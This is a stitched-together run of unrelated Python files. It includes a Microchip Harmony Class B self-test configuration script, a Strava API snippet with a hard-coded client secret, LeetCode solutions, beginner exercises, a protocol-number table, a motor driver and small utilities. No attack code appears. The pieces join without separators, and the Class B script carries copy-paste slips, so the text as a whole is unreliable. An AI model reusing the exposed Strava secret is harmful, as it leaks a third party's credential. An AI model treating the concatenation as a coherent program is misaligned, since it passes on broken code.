classBComponent.createHexSymbol("CLASSB_SRAM_START_MSB", None) classB_SRAM_START_MSB.setVisible(False) #classB_SRAM_START_MSB.setDefaultValue(int(classBSRAMNode.getAttribute("start"), 16) >> 8) classB_SRAM_START_MSB.setDefaultValue((int(classBSRAMNode.getAttribute("start"), 16) >> 8) + (0xA0000000 >> 8)) #classB_SRAM_SIZE.setDefaultValue(0) print("Test Module: Harmony Class B Library") # Insert CPU test classB_UseCPUTest = classBComponent.createBooleanSymbol("CLASSB_CPU_TEST_OPT", classBMenu) classB_UseCPUTest.setLabel("Test CPU Registers?") classB_UseCPUTest.setVisible(True) classB_UseCPUTest.setDefaultValue(False) # Insert SRAM test classB_UseSRAMTest = classBComponent.createBooleanSymbol("CLASSB_SRAM_TEST_OPT", classBMenu) classB_UseSRAMTest.setLabel("Test SRAM?") classB_UseSRAMTest.setVisible(True) classB_UseSRAMTest.setDefaultValue(False) # Select March algorithm for SRAM test classb_Ram_marchAlgo = classBComponent.createKeyValueSetSymbol("CLASSB_SRAM_MARCH_ALGORITHM", classB_UseSRAMTest) classb_Ram_marchAlgo.setLabel("Select RAM March algorithm") classb_Ram_marchAlgo.addKey("CLASSB_SRAM_MARCH_C", "0", "March C") classb_Ram_marchAlgo.addKey("CLASSB_SRAM_MARCH_C_MINUS", "1", "March C minus") classb_Ram_marchAlgo.addKey("CLASSB_SRAM_MARCH_B", "2", "March B") classb_Ram_marchAlgo.setOutputMode("Key") classb_Ram_marchAlgo.setDisplayMode("Description") classb_Ram_marchAlgo.setDescription("Selects the SRAM March algorithm to be used during startup") classb_Ram_marchAlgo.setDefaultValue(0) classb_Ram_marchAlgo.setVisible(False) #This should be enabled based on the above configuration classb_Ram_marchAlgo.setDependencies(setClassB_SymbolVisibility, ["CLASSB_SRAM_TEST_OPT"]) # Size of the area to be tested classb_Ram_marchSize = classBComponent.createIntegerSymbol("CLASSB_SRAM_MARCH_SIZE", classB_UseSRAMTest) classb_Ram_marchSize.setLabel("Size of the tested area (bytes)") classb_Ram_marchSize.setDefaultValue(classB_SRAM_SIZE.getValue() / 4) classb_Ram_marchSize.setVisible(False) classb_Ram_marchSize.setMin(0) # 1024 bytes are reserved for the use of Class B library classb_Ram_marchSize.setMax(classB_SRAM_SIZE.getValue() - 1024) classb_Ram_marchSize.setDescription("Size of the SRAM area to be tested starting from 0x20000400") classb_Ram_marchSize.setDependencies(setClassB_SymbolVisibility, ["CLASSB_SRAM_TEST_OPT"]) print("Test Module: Harmony Class B Library") # CRC-32 checksum availability classB_FlashCRC_Option = classBComponent.createBooleanSymbol("CLASSB_FLASH_CRC_CONF", classBMenu) classB_FlashCRC_Option.setLabel("Test Internal Flash?") classB_FlashCRC_Option.setVisible(True) classB_FlashCRC_Option.setDefaultValue(False) classB_FlashCRC_Option.setDescription("Enable this option if the CRC-32 checksum of the application image is stored at a specific address in the Flash") # Address at which CRC-32 of the application image is stored classB_CRC_address = classBComponent.createHexSymbol("CLASSB_FLASHCRC_ADDR", classB_FlashCRC_Option) classB_CRC_address.setLabel("Flash CRC location") classB_CRC_address.setDefaultValue(0xFE000) classB_CRC_address.setMin(0) classB_CRC_address.setMax(classB_FLASH_SIZE.getValue() - 4) classB_CRC_address.setVisible(False) #This should be enabled based on the above configuration classB_CRC_address.setDependencies(setClassB_SymbolVisibility, ["CLASSB_FLASH_CRC_CONF"]) # Insert Clock test classB_UseClockTest = classBComponent.createBooleanSymbol("CLASSB_CLOCK_TEST_OPT", classBMenu) classB_UseClockTest.setLabel("Test CPU Clock?") classB_UseClockTest.setVisible(True) # Acceptable CPU clock frequency error at startup classb_ClockTestPercentage = classBComponent.createKeyValueSetSymbol("CLASSB_CLOCK_TEST_PERCENT", classB_UseClockTest) classb_ClockTestPercentage.setLabel("Permitted CPU clock error at startup") classb_ClockTestPercentage.addKey("CLASSB_CLOCK_5PERCENT", "5", "+-5 %") classb_ClockTestPercentage.addKey("CLASSB_CLOCK_10PERCENT", "10", "+-10 %") classb_ClockTestPercentage.addKey("CLASSB_CLOCK_15PERCENT", "15", "+-15 %") classb_ClockTestPercentage.setOutputMode("Value") classb_ClockTestPercentage.setDisplayMode("Description") classb_ClockTestPercentage.setDescription("Selects the permitted CPU clock error at startup") classb_ClockTestPercentage.setDefaultValue(0) classb_ClockTestPercentage.setVisible(False) classb_ClockTestPercentage.setDependencies(setClassB_SymbolVisibility, ["CLASSB_CLOCK_TEST_OPT"]) # Clock test duration classb_ClockTestDuration = classBComponent.createIntegerSymbol("CLASSB_CLOCK_TEST_DURATION", classB_UseClockTest) classb_ClockTestDuration.setLabel("Clock Test Duration (ms)") classb_ClockTestDuration.setDefaultValue(5) classb_ClockTestDuration.setVisible(False) classb_ClockTestDuration.setMin(5) classb_ClockTestDuration.setMax(20) classb_ClockTestDuration.setDependencies(setClassB_SymbolVisibility, ["CLASSB_CLOCK_TEST_OPT"]) # Insert Interrupt test classB_UseInterTest = classBComponent.createBooleanSymbol("CLASSB_INTERRUPT_TEST_OPT", classBMenu) classB_UseInterTest.setLabel("Test Interrupts?") classB_UseInterTest.setVisible(True) classB_UseInterTest.setDefaultValue(False) classB_UseInterTest.setDescription("This self-test check interrupts operation with the help of NVIC, RTC and TC0") #symbol_debug = classBComponent.createCommentSymbol("CLASSB_DEBUG_MENU", None) #symbol_debug.setLabel("DEBUG") #symbol_debug.setVisible(True) #symbol_APPDEBUG_enabling = classBComponent.createBooleanSymbol("CLASSB_DEBUG_ENABLE", symbol_debug) #symbol_APPDEBUG_enabling.setLabel("Enable Debug parameters") #symbol_APPDEBUG_enabling.setVisible(True) #symbol_APPDEBUG_enabling.setDefaultValue(False) #symbol_APPDEBUG_enabling.setDescription("Enable debug parameters") classBReadOnlyParams = classBComponent.createMenuSymbol("CLASSB_ADDR_MENU", None) classBReadOnlyParams.setLabel("Build parameters (read-only) used by the library") # Read-only symbol for start of non-reserved SRAM classb_AppRam_start = classBComponent.createHexSymbol("CLASSB_SRAM_APP_START", classBReadOnlyParams) classb_AppRam_start.setLabel("Start address of non-reserved SRAM") classb_AppRam_start.setDefaultValue(0xA0000400) classb_AppRam_start.setReadOnly(True) classb_AppRam_start.setMin(0xA0000400) classb_AppRam_start.setMax(0xA0000400) classb_AppRam_start.setDescription("Initial 1kB of SRAM is used by the Class B library") #SRAM last word address classB_SRAM_lastWordAddr = classBComponent.createHexSymbol("CLASSB_SRAM_LASTWORD_ADDR", classBReadOnlyParams) classB_SRAM_lastWordAddr.setLabel("Address of the last word in SRAM") classB_SRAM_lastWordAddr.setReadOnly(True) classB_SRAM_lastWordAddr.setDefaultValue((0xA0000000 + classB_SRAM_SIZE.getValue() - 4)) classB_SRAM_lastWordAddr.setMin((0xA0000000 + classB_SRAM_SIZE.getValue() - 4)) classB_SRAM_lastWordAddr.setMax((0xA0000000 + classB_SRAM_SIZE.getValue() - 4)) sram_top = hex(classB_SRAM_lastWordAddr.getValue() + 4) classB_SRAM_lastWordAddr.setDescription("The SRAM memory address range is 0x00000000 to " + str(sram_top)) # Read-only symbol for CRC-32 polynomial classb_FlashCRCPoly = classBComponent.createHexSymbol("CLASSB_FLASH_CRC32_POLY", classBReadOnlyParams) classb_FlashCRCPoly.setLabel("CRC-32 polynomial for Flash test") classb_FlashCRCPoly.setDefaultValue(0xEDB88320) classb_FlashCRCPoly.setReadOnly(True) classb_FlashCRCPoly.setMin(0xEDB88320) classb_FlashCRCPoly.setMax(0xEDB88320) classb_FlashCRCPoly.setDescription("The CRC-32 polynomial used for Flash self-test is " + str(hex(classb_FlashCRCPoly.getValue()))) # Read-only symbol for max SysTick count classb_SysTickMaxCount = classBComponent.createHexSymbol("CLASSB_SYSTICK_MAXCOUNT", classBReadOnlyParams) classb_SysTickMaxCount.setLabel("Maximum SysTick count") classb_SysTickMaxCount.setDefaultValue(0xFFFFFF) classb_SysTickMaxCount.setReadOnly(True) classb_SysTickMaxCount.setMin(0xFFFFFF) classb_SysTickMaxCount.setMax(0xFFFFFF) classb_SysTickMaxCount.setDescription("The SysTick is a 24-bit counter with max count value " + str(hex(classb_SysTickMaxCount.getValue()))) # Read-only symbol for max CPU clock frequency classb_CPU_MaxClock = classBComponent.createIntegerSymbol("CLASSB_CPU_MAX_CLOCK", classBReadOnlyParams) classb_CPU_MaxClock.setLabel("Maximum CPU clock frequency") classb_CPU_MaxClock.setDefaultValue(200000000) classb_CPU_MaxClock.setReadOnly(True) classb_CPU_MaxClock.setMin(200000000) classb_CPU_MaxClock.setMax(200000000) classb_CPU_MaxClock.setDescription("The self-test for CPU clock frequency assumes that the maximum CPU clock frequency is " + str(classb_CPU_MaxClock.getValue()) + "Hz") # Read-only symbol for expected RTC clock frequency classb_RTC_Clock = classBComponent.createIntegerSymbol("CLASSB_TMR1_EXPECTED_CLOCK", classBReadOnlyParams) classb_RTC_Clock.setLabel("Expected RTC clock frequency") classb_RTC_Clock.setDefaultValue(32768) classb_RTC_Clock.setReadOnly(True) classb_RTC_Clock.setMin(32768) classb_RTC_Clock.setMax(32768) classb_RTC_Clock.setDescription("The self-test for CPU clock frequency expects the RTC clock frequency to be " + str(classb_RTC_Clock.getValue()) + "Hz") # Read-only symbol for maximum configurable accuracy for CPU clock self-test classb_MaxAccuracy = classBComponent.createIntegerSymbol("CLASSB_CPU_CLOCK_TEST_ACCUR", classBReadOnlyParams) classb_MaxAccuracy.setLabel("Maximum accuracy for CPU clock test") classb_MaxAccuracy.setDefaultValue(5) classb_MaxAccuracy.setReadOnly(True) classb_MaxAccuracy.setMin(5) classb_MaxAccuracy.setMax(5) classb_MaxAccuracy.setDescription("Error percentage selected for CPU clock frequency test must be " + str(classb_MaxAccuracy.getValue()) + "% or higher") ############################################################################ #### Code Generation #### ############################################################################ # Main Header File classBHeaderFile = classBComponent.createFileSymbol("CLASSB_HEADER", None) classBHeaderFile.setSourcePath("/templates/pic32mzw1_wfi32e01/classb.h.ftl") classBHeaderFile.setOutputName("classb.h") classBHeaderFile.setDestPath("/classb") classBHeaderFile.setProjectPath("config/" + configName + "/classb") classBHeaderFile.setType("HEADER") classBHeaderFile.setMarkup(True) # Main Source File classBSourceFile = classBComponent.createFileSymbol("CLASSB_SOURCE", None) classBSourceFile.setSourcePath("/templates/pic32mzw1_wfi32e01/classb.c.ftl") classBSourceFile.setOutputName("classb.c") classBSourceFile.setDestPath("/classb") classBSourceFile.setProjectPath("config/" + configName + "/classb") classBSourceFile.setType("SOURCE") classBSourceFile.setMarkup(True) # Header File common for all tests classBCommHeaderFile = classBComponent.createFileSymbol("CLASSB_COMMON_HEADER", None) classBCommHeaderFile.setSourcePath("/templates/pic32mzw1_wfi32e01/classb_common.h.ftl") classBCommHeaderFile.setOutputName("classb_common.h") classBCommHeaderFile.setDestPath("/classb") classBCommHeaderFile.setProjectPath("config/" + configName +"/classb") classBCommHeaderFile.setType("HEADER") classBCommHeaderFile.setMarkup(True) # Source File for result handling classBSourceResultMgmt = classBComponent.createFileSymbol("CLASSB_SOURCE_RESULT_MGMT_S", None) classBSourceResultMgmt.setSourcePath("/templates/pic32mzw1_wfi32e01/classb_result_management.S.ftl") classBSourceResultMgmt.setOutputName("classb_result_management.S") classBSourceResultMgmt.setDestPath("/classb") classBSourceResultMgmt.setProjectPath("config/" + configName + "/classb") classBSourceResultMgmt.setType("SOURCE") classBSourceResultMgmt.setMarkup(True) # Source File for CPU test classBSourceCpuTestAsm = classBComponent.createFileSymbol("CLASSB_SOURCE_CPUTEST_S", None) classBSourceCpuTestAsm.setSourcePath("/templates/pic32mzw1_wfi32e01/classb_cpu_reg_test_asm.S.ftl") classBSourceCpuTestAsm.setOutputName("classb_cpu_reg_test_asm.S") classBSourceCpuTestAsm.setDestPath("/classb") classBSourceCpuTestAsm.setProjectPath("config/" + configName + "/classb") classBSourceCpuTestAsm.setType("SOURCE") classBSourceCpuTestAsm.setMarkup(True) # Source File for CPU test classBSourceCpuTestAsm = classBComponent.createFileSymbol("CLASSB_SOURCE_CPUTEST", None) classBSourceCpuTestAsm.setSourcePath("/templates/pic32mzw1_wfi32e01/classb_cpu_reg_test.c.ftl") classBSourceCpuTestAsm.setOutputName("classb_cpu_reg_test.c") classBSourceCpuTestAsm.setDestPath("/classb") classBSourceCpuTestAsm.setProjectPath("config/" + configName + "/classb") classBSourceCpuTestAsm.setType("SOURCE") classBSourceCpuTestAsm.setMarkup(True) # Header File for CPU test classBHeaderCpuTestAsm = classBComponent.createFileSymbol("CLASSB_HEADER_CPU_TEST", None) classBHeaderCpuTestAsm.setSourcePath("/templates/pic32mzw1_wfi32e01/classb_cpu_reg_test.h.ftl") classBHeaderCpuTestAsm.setOutputName("classb_cpu_reg_test.h") classBHeaderCpuTestAsm.setDestPath("/classb") classBHeaderCpuTestAsm.setProjectPath("config/" + configName +"/classb") classBHeaderCpuTestAsm.setType("HEADER") classBHeaderCpuTestAsm.setMarkup(True) # Source File for CPU PC test classBSourceCpuPCTest = classBComponent.createFileSymbol("CLASSB_SOURCE_CPUPC_TEST", None) classBSourceCpuPCTest.setSourcePath("/templates/pic32mzw1_wfi32e01/classb_cpu_pc_test.c.ftl") classBSourceCpuPCTest.setOutputName("classb_cpu_pc_test.c") classBSourceCpuPCTest.setDestPath("/classb") classBSourceCpuPCTest.setProjectPath("config/" + configName + "/classb") classBSourceCpuPCTest.setType("SOURCE") classBSourceCpuPCTest.setMarkup(True) # Source File for SRAM test classBSourceSRAMTest = classBComponent.createFileSymbol("CLASSB_SOURCE_SRAM_TEST", None) classBSourceSRAMTest.setSourcePath("/templates/pic32mzw1_wfi32e01/classb_sram_test.c.ftl") classBSourceSRAMTest.setOutputName("classb_sram_test.c") classBSourceSRAMTest.setDestPath("/classb") classBSourceSRAMTest.setProjectPath("config/" + configName + "/classb") classBSourceSRAMTest.setType("SOURCE") classBSourceSRAMTest.setMarkup(True) # Header File for SRAM test classBHeaderSRAMTest = classBComponent.createFileSymbol("CLASSB_HEADER_SRAM_TEST", None) classBHeaderSRAMTest.setSourcePath("/templates/pic32mzw1_wfi32e01/classb_sram_test.h.ftl") classBHeaderSRAMTest.setOutputName("classb_sram_test.h") classBHeaderSRAMTest.setDestPath("/classb") classBHeaderSRAMTest.setProjectPath("config/" + configName +"/classb") classBHeaderSRAMTest.setType("HEADER") classBHeaderSRAMTest.setMarkup(True) # Source File for Flash test classBSourceFLASHTest = classBComponent.createFileSymbol("CLASSB_SOURCE_FLASH_TEST", None) classBSourceFLASHTest.setSourcePath("/templates/pic32mzw1_wfi32e01/classb_flash_test.c.ftl") classBSourceFLASHTest.setOutputName("classb_flash_test.c") classBSourceFLASHTest.setDestPath("/classb") classBSourceFLASHTest.setProjectPath("config/" + configName + "/classb") classBSourceFLASHTest.setType("SOURCE") classBSourceFLASHTest.setMarkup(True) # Header File for Flash test classBHeaderFLASHTest = classBComponent.createFileSymbol("CLASSB_HEADER_FLASH_TEST", None) classBHeaderFLASHTest.setSourcePath("/templates/pic32mzw1_wfi32e01/classb_flash_test.h.ftl") classBHeaderFLASHTest.setOutputName("classb_flash_test.h") classBHeaderFLASHTest.setDestPath("/classb") classBHeaderFLASHTest.setProjectPath("config/" + configName +"/classb") classBHeaderFLASHTest.setType("HEADER") classBHeaderFLASHTest.setMarkup(True) # Source File for Clock test classBSourceClockTest = classBComponent.createFileSymbol("CLASSB_SOURCE_CLOCK_TEST", None) classBSourceClockTest.setSourcePath("/templates/pic32mzw1_wfi32e01/classb_clock_test.c.ftl") classBSourceClockTest.setOutputName("classb_clock_test.c") classBSourceClockTest.setDestPath("/classb") classBSourceClockTest.setProjectPath("config/" + configName + "/classb") classBSourceClockTest.setType("SOURCE") classBSourceClockTest.setMarkup(True) # Header File for Clock test classBHeaderClockTest = classBComponent.createFileSymbol("CLASSB_HEADER_CLOCK_TEST", None) classBHeaderClockTest.setSourcePath("/templates/pic32mzw1_wfi32e01/classb_clock_test.h.ftl") classBHeaderClockTest.setOutputName("classb_clock_test.h") classBHeaderClockTest.setDestPath("/classb") classBHeaderClockTest.setProjectPath("config/" + configName +"/classb") classBHeaderClockTest.setType("HEADER") classBSourceClockTest.setMarkup(True) # Source File for Interrupt test classBSourceInterruptTest = classBComponent.createFileSymbol("CLASSB_SOURCE_INTERRUPT_TEST", None) classBSourceInterruptTest.setSourcePath("/templates/pic32mzw1_wfi32e01/classb_interrupt_test.c.ftl") classBSourceInterruptTest.setOutputName("classb_interrupt_test.c") classBSourceInterruptTest.setDestPath("/classb") classBSourceInterruptTest.setProjectPath("config/" + configName + "/classb") classBSourceInterruptTest.setType("SOURCE") classBSourceInterruptTest.setMarkup(True) # Header File for Interrupt test classBHeaderInterruptTest = classBComponent.createFileSymbol("CLASSB_HEADER_INTERRUPT_TEST", None) classBHeaderInterruptTest.setSourcePath("/templates/pic32mzw1_wfi32e01/classb_interrupt_test.h.ftl") classBHeaderInterruptTest.setOutputName("classb_interrupt_test.h") classBHeaderInterruptTest.setDestPath("/classb") classBHeaderInterruptTest.setProjectPath("config/" + configName +"/classb") classBHeaderInterruptTest.setType("HEADER") classBHeaderInterruptTest.setMarkup(True) # Source File for IO pin test classBSourceIOpinTest = classBComponent.createFileSymbol("CLASSB_SOURCE_IOPIN_TEST", None) classBSourceIOpinTest.setSourcePath("/templates/pic32mzw1_wfi32e01/classb_io_pin_test.c.ftl") classBSourceIOpinTest.setOutputName("classb_io_pin_test.c") classBSourceIOpinTest.setDestPath("/classb") classBSourceIOpinTest.setProjectPath("config/" + configName + "/classb") classBSourceIOpinTest.setType("SOURCE") classBSourceIOpinTest.setMarkup(True) # Header File for IO pin test classBHeaderIOpinTest = classBComponent.createFileSymbol("CLASSB_HEADER_IOPIN_TEST", None) classBHeaderIOpinTest.setSourcePath("/templates/pic32mzw1_wfi32e01/classb_io_pin_test.h.ftl") classBHeaderIOpinTest.setOutputName("classb_io_pin_test.h") classBHeaderIOpinTest.setDestPath("/classb") classBHeaderIOpinTest.setProjectPath("config/" + configName +"/classb") classBHeaderIOpinTest.setType("HEADER") classBHeaderIOpinTest.setMarkup(True) # System Definition classBSystemDefFile = classBComponent.createFileSymbol("CLASSB_SYS_DEF", None) classBSystemDefFile.setType("STRING") classBSystemDefFile.setOutputName("core.LIST_SYSTEM_DEFINITIONS_H_INCLUDES") classBSystemDefFile.setSourcePath("/templates/system/definitions.h.ftl") classBSystemDefFile.setMarkup(True) # Linker option to reserve 1kB of SRAM classB_xc32ld_reserve_sram = classBComponent.createSettingSymbol("CLASSB_XC32LD_RESERVE_SRAM", None) classB_xc32ld_reserve_sram.setCategory("C32-LD") classB_xc32ld_reserve_sram.setKey("oXC32ld-extra-opts") classB_xc32ld_reserve_sram.setAppend(True, ";") classB_xc32ld_reserve_sram.setValue("-mreserve=data@0x00000000:0x00000400")
# # "Client-ID" and "Client-Secret" from https://www.strava.com/settings/api # CLIENT_ID = '19661' CLIENT_SECRET = '673409cdf6d02b8bc47b0e88cd03015283dddba2' AUTH_URL = 'http://127.0.0.1:7123/auth'
nome = str(input('Digite seu nome completo: ')).strip().title() dividido = nome.split() print(f'Prazer em te conhecer, {dividido[0]}') print(f'Seu primeiro nome é {dividido[0].title()}\nE seu último nome é {dividido[-1]}') print(';)') # O '-1' é necessário para ficar dentro do range do fatiamento, já que o len() começa a contar a partir de 1 # enquanto o fatiamento conta os elementos da lista gerada pelo split a partir do 0
WHITE_ON_BLACK = 0 WHITE_ON_BLUE = 1 BLUE_ON_BLACK = 2 RED_ON_BLACK = 3 GREEN_ON_BLACK = 4 YELLOW_ON_BLACK = 5 CYAN_ON_BLACK = 6 MAGENTA_ON_BLACK = 7 WHITE_ON_CYAN = 8 MAGENTA_ON_CYAN = 9 PROTOCOL_NUMBERS = { 0: "HOPOPT", 1: "ICMP", 2: "IGMP", 3: "GGP", 4: "IPv4", 5: "ST", 6: "TCP", 7: "CBT", 8: "EGP", 9: "IGP", 10: "BBN-RCC-MON", 11: "NVP-II", 12: "PUP", 13: "ARGUS (deprecated)", 14: "EMCON", 15: "XNET", 16: "CHAOS", 17: "UDP", 18: "MUX", 19: "DCN-MEAS", 20: "HMP", 21: "PRM", 22: "XNS-IDP", 23: "TRUNK-1", 24: "TRUNK-2", 25: "LEAF-1", 26: "LEAF-2", 27: "RDP", 28: "IRTP", 29: "ISO-TP4", 30: "NETBLT", 31: "MFE-NSP", 32: "MERIT-INP", 33: "DCCP", 34: "3PC", 35: "IDPR", 36: "XTP", 37: "DDP", 38: "IDPR-CMTP", 39: "TP++", 40: "IL", 41: "IPv6", 42: "SDRP", 43: "IPv6-Route", 44: "IPv6-Frag", 45: "IDRP", 46: "RSVP", 47: "GRE", 48: "DSR", 49: "BNA", 50: "ESP", 51: "AH", 52: "I-NLSP", 53: "SWIPE (deprecated)", 54: "NARP", 55: "MOBILE", 56: "TLSP", 57: "SKIP", 58: "IPv6-ICMP", 59: "IPv6-NoNxt", 60: "IPv6-Opts", 62: "CFTP", 64: "SAT-EXPAK", 65: "KRYPTOLAN", 66: "RVD", 67: "IPPC", 69: "SAT-MON", 70: "VISA", 71: "IPCV", 72: "CPNX", 73: "CPHB", 74: "WSN", 75: "PVP", 76: "BR-SAT-MON", 77: "SUN-ND", 78: "WB-MON", 79: "WB-EXPAK", 80: "ISO-IP", 81: "VMTP", 82: "SECURE-VMTP", 83: "VINES", 84: "TTP/IPTM", 85: "NSFNET-IGP", 86: "DGP", 87: "TCF", 88: "EIGRP", 89: "OSPFIGP", 90: "Sprite-RPC", 91: "LARP", 92: "MTP", 93: "AX.25", 94: "IPIP", 95: "MICP (deprecated)", 96: "SCC-SP", 97: "ETHERIP", 98: "ENCAP", 100: "GMTP", 101: "IFMP", 102: "PNNI", 103: "PIM", 104: "ARIS", 105: "SCPS", 106: "QNX", 107: "A/N", 108: "IPComp", 109: "SNP", 110: "Compaq-Peer", 111: "IPX-in-IP", 112: "VRRP", 113: "PGM", 115: "L2TP", 116: "DDX", 117: "IATP", 118: "STP", 119: "SRP", 120: "UTI", 121: "SMP", 122: "SM (deprecated)", 123: "PTP", 124: "ISIS over IPv4", 125: "FIRE", 126: "CRTP", 127: "CRUDP", 128: "SSCOPMCE", 129: "IPLT", 130: "SPS", 131: "PIPE", 132: "SCTP", 133: "FC", 134: "RSVP-E2E-IGNORE", 135: "Mobility Header", 136: "UDPLite", 137: "MPLS-in-IP", 138: "manet", 139: "HIP", 140: "Shim6", 141: "WESP", 142: "ROHC", 255: "Reserved" }
""" LC 494 You are given a set of positive numbers and a target sum ‘S’. Each number should be assigned either a ‘+’ or ‘-’ sign. We need to find the total ways to assign symbols to make the sum of the numbers equal to the target ‘S’. Example 1: Input: {1, 1, 2, 3}, S=1 Output: 3 Explanation: The given set has '3' ways to make a sum of '1': {+1-1-2+3} & {-1+1-2+3} & {+1+1+2-3} Example 2: Input: {1, 2, 7, 1}, S=9 Output: 2 Explanation: The given set has '2' ways to make a sum of '9': {+1+2+7-1} & {-1+2+7+1} """ def find_target_subsets(nums, s): # split into 2 set, difference is s num_sum = sum(nums) small_double = num_sum - abs(s) if small_double < 0 or small_double % 2: return 0 small = small_double >> 1 # smaller sum dp = [0] * (small + 1) dp[0] = 1 for n in nums: if n > small: continue for i in range(small, n - 1, -1): dp[i] += dp[i - n] return dp[-1] def main(): print("Total ways: " + str(find_target_subsets([1, 1, 2, 3], 1))) print("Total ways: " + str(find_target_subsets([1, 2, 7, 1], 9))) main() """ Time O(NC): don't need to sort by weight Space O(C) """
type_ = "postgresql" username = "" password = "" address = "" database = "" sort_keys = True secret_key = "" debug = True app_host = "0.0.0.0"
# -*- coding: utf-8 -*- qntMedidaVelocidadeMotor = int(input()) listMedidaVelocidade = list(map(int, input().split())) indiceMedidaMenor = 0 for indiceMedida in range(1, qntMedidaVelocidadeMotor): if listMedidaVelocidade[indiceMedida] < listMedidaVelocidade[indiceMedida - 1]: indiceMedidaMenor = indiceMedida + 1 break print(indiceMedidaMenor)
''' Given an array nums containing n + 1 integers where each integer is between 1 and n (inclusive), prove that at least one duplicate number must exist. Assume that there is only one duplicate number, find the duplicate one. Example 1: Input: [1,3,4,2,2] Output: 2 ''' class Solution: def findDuplicate(self, nums: List[int]) -> int: s = set() for num in nums: if num in s: return num else: s.add(num)
#!python class Person: def __init__(self, initialAge): self.age = initialAge if initialAge >= 0 else 0 if initialAge < 0: print("Age is not valid, setting age to 0.") def amIOld(self): if self.age < 13: print("You are young.") elif self.age < 18: print("You are a teenager.") else: print("You are old.") def yearPasses(self): self.age += 1 return self.age t = int(input()) for i in range(0, t): age = int(input()) p = Person(age) p.amIOld() for j in range(0, 3): p.yearPasses() p.amIOld() print("")
MotorDriverDirection = [ 'forward', 'backward', ] class MotorDriver(): def __init__(self): self.PWMA = 0 self.AIN1 = 1 self.AIN2 = 2 self.PWMB = 5 self.BIN1 = 3 self.BIN2 = 4 def MotorRun(self, pwm, motor, index, speed): if speed > 100: return if(motor == 0): pwm.setDutycycle(self.PWMA, speed) if(index == MotorDriverDirection[0]): pwm.setLevel(self.AIN1, 0) pwm.setLevel(self.AIN2, 1) else: pwm.setLevel(self.AIN1, 1) pwm.setLevel(self.AIN2, 0) else: pwm.setDutycycle(self.PWMB, speed) if(index == MotorDriverDirection[0]): pwm.setLevel(self.BIN1, 0) pwm.setLevel(self.BIN2, 1) else: pwm.setLevel(self.BIN1, 1) pwm.setLevel(self.BIN2, 0) def MotorStop(self, pwm, motor): if (motor == 0): pwm.setDutycycle(self.PWMA, 0) else: pwm.setDutycycle(self.PWMB, 0)
# -*- coding: utf-8 -*- # # Copyright © 2013 The Spyder Development Team # Licensed under the terms of the MIT License # (see spyderlib/__init__.py for details) """ Introspection utilities used by Spyder """
#fragment start * ENDMARK = "\0" # aka "lowvalues" #----------------------------------------------------------------------- # # Character # #----------------------------------------------------------------------- class Character: """ A Character object holds - one character (self.cargo) - the index of the character's position in the sourceText. - the index of the line where the character was found in the sourceText. - the index of the column in the line where the character was found in the sourceText. - (a reference to) the entire sourceText (self.sourceText) This information will be available to a token that uses this character. If an error occurs, the token can use this information to report the line/column number where the error occurred, and to show an image of the line in sourceText where the error occurred. """ #------------------------------------------------------------------- # #------------------------------------------------------------------- def __init__(self, c, lineIndex, colIndex, sourceIndex, sourceText): """ In Python, the __init__ method is the constructor. """ self.cargo = c self.sourceIndex = sourceIndex self.lineIndex = lineIndex self.colIndex = colIndex self.sourceText = sourceText #------------------------------------------------------------------- # return a displayable string representation of the Character object #------------------------------------------------------------------- def __str__(self): """ In Python, the __str__ method returns a string representation of an object. In Java, this would be the toString() method. """ cargo = self.cargo if cargo == " " : cargo = " space" elif cargo == "\n" : cargo = " newline" elif cargo == "\t" : cargo = " tab" elif cargo == ENDMARK : cargo = " eof" return ( str(self.lineIndex).rjust(6) + str(self.colIndex).rjust(4) + " " + cargo )
""" Deals with generating the per-page table of contents. For the sake of simplicity we use the Python-Markdown `toc` extension to generate a list of dicts for each toc item, and then store it as AnchorLinks to maintain compatibility with older versions of staticgennan. """ def get_toc(toc_tokens): toc = [_parse_toc_token(i) for i in toc_tokens] # For the table of contents, always mark the first element as active if len(toc): toc[0].active = True return TableOfContents(toc) class TableOfContents: """ Represents the table of contents for a given page. """ def __init__(self, items): self.items = items def __iter__(self): return iter(self.items) def __len__(self): return len(self.items) def __str__(self): return ''.join([str(item) for item in self]) class AnchorLink: """ A single entry in the table of contents. """ def __init__(self, title, id, level): self.title, self.id, self.level = title, id, level self.children = [] @property def url(self): return '#' + self.id def __str__(self): return self.indent_print() def indent_print(self, depth=0): indent = ' ' * depth ret = '{}{} - {}\n'.format(indent, self.title, self.url) for item in self.children: ret += item.indent_print(depth + 1) return ret def _parse_toc_token(token): anchor = AnchorLink(token['name'], token['id'], token['level']) for i in token['children']: anchor.children.append(_parse_toc_token(i)) return anchor
""" Pie Chart Uses the arc() function to generate a pie chart from the data stored in an array. """ angles = (30, 10, 45, 35, 60, 38, 75, 67) def setup(): size(640, 360) noStroke() noLoop() # Run once and stop def draw(): background(100) pieChart(300, angles) def pieChart(diameter, data): lastAngle = 0 for i, angle in enumerate(data): gray = map(i, 0, len(data), 0, 255) fill(gray) arc(width / 2, height / 2, diameter, diameter, lastAngle, lastAngle + radians(angle)) lastAngle += radians(angle)
#counting sort l = [] n = int(input("Enter number of elements in the list: ")) highest = 0 for i in range(n): temp = int(input("Enter element"+str(i+1)+': ')) if temp > highest: highest = temp l += [temp] def counting_sort(l,h): bookkeeping = [0 for i in range(h+1)] for i in l: bookkeeping[i] += 1 L = [] for i in range(len(bookkeeping)): if bookkeeping[i] > 0: for j in range(bookkeeping[i]): L += [i] return L print(counting_sort(l,highest))
class Source: ''' Source class to define Source Objects ''' def __init__(self,id,name,description,url,category,language,country): self.id =id self.name = name self.description= description self.url = url self.category = category self.language = language self.country = country
class Solution: def toGoatLatin(self, S: str) -> str: ans = '' for i, word in enumerate(S.split()): if('aiueoAIUEO'.find(word[0]) != -1): word += 'ma' else: word = word[1:] + word[0] + 'ma' word += 'a' * (i + 1) ans += word + ' ' ans = ans.rstrip() return ans
def make_bold(func): def wrapper(*args, **kwargs): return f'<b>{func(*args, **kwargs)}</b>' return wrapper def make_italic(func): def wrapper(*args, **kwargs): return f'<i>{func(*args, **kwargs)}</i>' return wrapper def make_underline(func): def wrapper(*args, **kwargs): return f'<u>{func(*args, **kwargs)}</u>' return wrapper @make_bold @make_italic @make_underline def greet(name): return f'Hello, {name}' @make_bold @make_italic @make_underline def greet_all(*args): return f'Hello, {", ".join(args)}' print(greet('Peter')) print(greet_all('Peter', 'George'))
